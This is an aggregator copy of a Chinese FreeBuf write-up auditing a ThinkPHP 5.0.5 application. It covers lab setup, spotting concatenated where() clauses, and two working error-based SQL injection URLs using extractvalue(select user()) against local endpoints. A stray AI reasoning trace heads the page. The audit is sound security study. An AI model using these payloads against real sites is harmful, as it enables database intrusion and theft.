一个框架的审计练习
好,我现在需要帮用户总结一篇文章的内容,控制在100字以内,而且不需要特定的开头。首先,我得仔细阅读文章内容,抓住主要信息。 文章主要讲的是一个Web安全的审计案例。里面提到了搭建环境的步骤,比如绑定域名、配置数据库和伪静态。接着详细描述了审计思路,包括版本搜索、不安全写法和漏洞利用。特别是提到了SQL注入的具体例子和构造payload的方法。最后还有免责声明,说明技术内容仅供参考。 接下来,我要把这些要点浓缩成100字以内的总结。需要涵盖搭建环境、审计思路、SQL注入示例以及免责声明这几个部分。确保语言简洁明了,不遗漏关键信息。 可能的结构是:先说明文章的主题和搭建步骤,然后提到审计方法和漏洞利用的例子,最后提到免责声明。这样既全面又简洁。 检查一下字数是否符合要求,确保没有超过限制。同时,避免使用复杂的术语,让总结更易理解。 最终总结应该是:文章详细介绍了Web安全审计案例的搭建步骤及审计思路,包括版本搜索、不安全写法(如SQL注入)及漏洞利用示例,并附有免责声明提醒读者谨慎使用技术信息。 </think> 文章详细介绍了Web安全审计案例的搭建步骤及审计思路,包括版本搜索、不安全写法(如SQL注入)及漏洞利用示例,并附有免责声明提醒读者谨慎使用技术信息。 2025-10-18 14:15:18 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

搭建

1、目录指向绑定域名
phpstudy

2、修改配置导入SQL文件
application/database.php


3、加入修改伪静态配置
<IfModule mod_rewrite.c>
Options +FollowSymlinks -Multiviews
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php?/$1 [QSA,PT,L]
</IfModule>

一、审计思路-版本

搜索version
define('THINK_VERSION', '5.0.5');

二、审计思路-不安全写法

1.sql注入

// 正常
where('id' => $id)
where('id' , $id)

//错误写法
where('id' = $id)
拼接写法,可产生注入点

全局搜索不安全写法,利用正则表达式可快速搜索

1.找到ajaxkdata()

1/application/index/controller/Goods.php
public function ajaxkdata()
$data = Db::name('productdata')->where('pid='.$pid)->find();
SELECT * FROM `wp_productdata` WHERE ( pid=4 ) LIMIT 1
可以进行sql注入

构造payload
http://127.0.0.1/index.php/index/goods/ajaxkdata/pid/4)and extractvalue(1,concat(0x7e,(select user()),0x7e))%23
http://127.0.0.1/index.php/index/goods/ajaxkdata/pid/4 and extractvalue(1,concat(0x7e,(select user()),0x7e))这个也可以




2.找到ChickIsOpen($pid)

无法直接调用
1/application/common.php
$pro = db('productinfo')->where(array('pid'=>$pid))->find();

于是转到
1/application/index/controller/Goods.php
public function goods()
$isopen = ChickIsOpen($pid);

构造url
http://127.0.0.1/index.php/index/goods/goods/pid/6) and(extractvalue(1,concat(0x7e,(select user()),0x7e)))%23
必须超过6
导致报错

三、审计思路-版本漏洞(通过工具收集)

免责声明

1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。

2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。

3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。

已在FreeBuf发表 0 篇文章

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/web/453241.html
如有侵权请联系:admin#unsafe.sh